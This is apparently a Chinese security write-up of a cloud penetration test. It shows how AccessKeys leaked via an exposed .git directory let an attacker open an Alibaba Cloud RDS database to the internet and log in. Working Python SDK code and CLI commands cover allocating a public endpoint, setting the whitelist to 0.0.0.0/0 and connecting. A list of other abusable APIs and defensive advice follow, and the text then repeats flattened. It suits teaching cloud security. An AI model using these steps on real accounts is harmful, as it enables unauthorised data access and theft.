云上渗透-RDS数据库攻防
字数 1273 2025-08-19 12:41:32

云上渗透-RDS数据库攻防实战指南

前言

在云安全渗透测试中,当传统攻击路径受阻时,如何利用云服务特性进行突破是一个重要课题。本文详细记录了一次通过阿里云RDS数据库进行渗透的完整过程,涉及AccessKey利用、API操作、外网访问配置等关键技术点。

信息收集阶段

关键配置信息获取

通过.git目录泄露获取到网站源码后,发现以下关键配置信息:

ACCESSKEYID=XXXXX
ACCESSKEYSECRET=XXXXX
ENDPOINT=oss-cn-beijing.aliyuncs.com
DB_HOST=rm-xxxxx.mysql.rds.aliyuncs.com
DB_PORT=3306
DB_USER=xxxx
DB_PASSWORD=xxxxx

环境分析

  • 数据库采用阿里云RDS服务
  • RDS仅配置了内网地址(DBInstanceNetType=Intranet)
  • 3306端口对外不开放
  • 文件存储使用OSS服务
  • 传统攻击路径(如SQL注入、RCE等)不可行

利用过程详解

1. 利用AccessKey获取RDS信息

工具准备
下载阿里云RDS命令行工具Rdscli:
https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban

关键命令

# 列出账户下所有RDS实例
rds DescribeDBInstances --PageSize 50

# 导出特定实例详细信息
rds ExportDBInstance --DBInstanceId rr-XXXXXXX --filename test

2. 申请RDS外网访问

通过阿里云API为RDS实例申请外网访问地址:

API文档参考
https://help.aliyun.com/document_detail/26234.html

Python脚本示例

from aliyunsdkcore.client import AcsClient
from aliyunsdkrds.request.v20140815.AllocateInstancePublicConnectionRequest import AllocateInstancePublicConnectionRequest

client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')

request = AllocateInstancePublicConnectionRequest()
request.set_accept_format('json')
request.set_DBInstanceId("DBInstanceId")
request.set_ConnectionStringPrefix("public_domain")
request.set_Port("3306")

response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))

3. 查询RDS连接信息

使用DescribeDBInstanceNetInfo API查询实例连接地址:

from aliyunsdkrds.request.v20140815.DescribeDBInstanceNetInfoRequest import DescribeDBInstanceNetInfoRequest

request = DescribeDBInstanceNetInfoRequest()
request.set_DBInstanceId("DBInstanceId")
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))

返回结果示例:

{
    "DBInstanceNetInfos": {
        "DBInstanceNetInfo": [
            {
                "IPType": "Public",
                "Port": "3306",
                "ConnectionString": "rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com",
                "IPAddress": "xxx.xxx.xxx.xxx"
            }
        ]
    }
}

4. 配置RDS白名单

默认情况下RDS安全组会阻止所有外部访问,需要修改白名单:

查询当前白名单

from aliyunsdkrds.request.v20140815.DescribeDBInstanceIPArrayListRequest import DescribeDBInstanceIPArrayListRequest

request = DescribeDBInstanceIPArrayListRequest()
request.set_DBInstanceId("rm-xxxxxxxxx")
response = client.do_action_with_exception(request)

修改白名单允许所有IP

from aliyunsdkrds.request.v20140815.ModifySecurityIpsRequest import ModifySecurityIpsRequest

request = ModifySecurityIpsRequest()
request.set_DBInstanceId("rm-xxxxxxx")
request.set_SecurityIps("0.0.0.0/0")
response = client.do_action_with_exception(request)

5. 连接RDS数据库

完成上述配置后,即可使用获取到的外网地址和原始数据库凭据连接RDS:

mysql -h rm-xxxxxxxxxxx.mysql.rds.aliyuncs.com -u xxxx -p

其他可利用的RDS API操作

通过AccessKey还可以执行以下关键操作:

  • 修改数据库密码(ResetAccountPassword)
  • 重启RDS实例(RestartDBInstance)
  • 创建数据库备份(CreateBackup)
  • 修改实例规格(ModifyDBInstanceSpec)
  • 创建新数据库账号(CreateAccount)

完整API列表参考:
https://help.aliyun.com/document_detail/182821.html

防御建议

  1. AccessKey管理

    • 避免使用主账户AccessKey
    • 为不同应用创建子账户AccessKey并限制权限
    • 定期轮换AccessKey
  2. RDS安全配置

    • 严格控制白名单IP范围,避免使用0.0.0.0/0
    • 定期审计数据库访问权限
    • 启用数据库审计日志
  3. 代码安全

    • 避免在代码中硬编码敏感信息
    • 使用环境变量或密钥管理服务存储凭据
    • 配置.gitignore避免敏感文件提交
  4. 监控告警

    • 设置API调用异常告警
    • 监控RDS配置变更
    • 设置异地登录告警

总结

本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护,强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。

云上渗透-RDS数据库攻防实战指南 前言 在云安全渗透测试中,当传统攻击路径受阻时,如何利用云服务特性进行突破是一个重要课题。本文详细记录了一次通过阿里云RDS数据库进行渗透的完整过程,涉及AccessKey利用、API操作、外网访问配置等关键技术点。 信息收集阶段 关键配置信息获取 通过 .git 目录泄露获取到网站源码后,发现以下关键配置信息: 环境分析 数据库采用阿里云RDS服务 RDS仅配置了内网地址(DBInstanceNetType=Intranet) 3306端口对外不开放 文件存储使用OSS服务 传统攻击路径(如SQL注入、RCE等)不可行 利用过程详解 1. 利用AccessKey获取RDS信息 工具准备 : 下载阿里云RDS命令行工具Rdscli: https://market.aliyun.com/products/53690006/cmgj000311.html#sku=mianfeiban 关键命令 : 2. 申请RDS外网访问 通过阿里云API为RDS实例申请外网访问地址: API文档参考 : https://help.aliyun.com/document_ detail/26234.html Python脚本示例 : 3. 查询RDS连接信息 使用DescribeDBInstanceNetInfo API查询实例连接地址: 返回结果示例: 4. 配置RDS白名单 默认情况下RDS安全组会阻止所有外部访问,需要修改白名单: 查询当前白名单 : 修改白名单允许所有IP : 5. 连接RDS数据库 完成上述配置后,即可使用获取到的外网地址和原始数据库凭据连接RDS: 其他可利用的RDS API操作 通过AccessKey还可以执行以下关键操作: 修改数据库密码( ResetAccountPassword ) 重启RDS实例( RestartDBInstance ) 创建数据库备份( CreateBackup ) 修改实例规格( ModifyDBInstanceSpec ) 创建新数据库账号( CreateAccount ) 完整API列表参考: https://help.aliyun.com/document_ detail/182821.html 防御建议 AccessKey管理 : 避免使用主账户AccessKey 为不同应用创建子账户AccessKey并限制权限 定期轮换AccessKey RDS安全配置 : 严格控制白名单IP范围,避免使用0.0.0.0/0 定期审计数据库访问权限 启用数据库审计日志 代码安全 : 避免在代码中硬编码敏感信息 使用环境变量或密钥管理服务存储凭据 配置.gitignore避免敏感文件提交 监控告警 : 设置API调用异常告警 监控RDS配置变更 设置异地登录告警 总结 本案例展示了如何通过泄露的AccessKey逐步突破云上RDS的安全防护,强调了云服务特有配置的风险点。防御方应特别注意最小权限原则、敏感信息保护和配置审计等安全实践。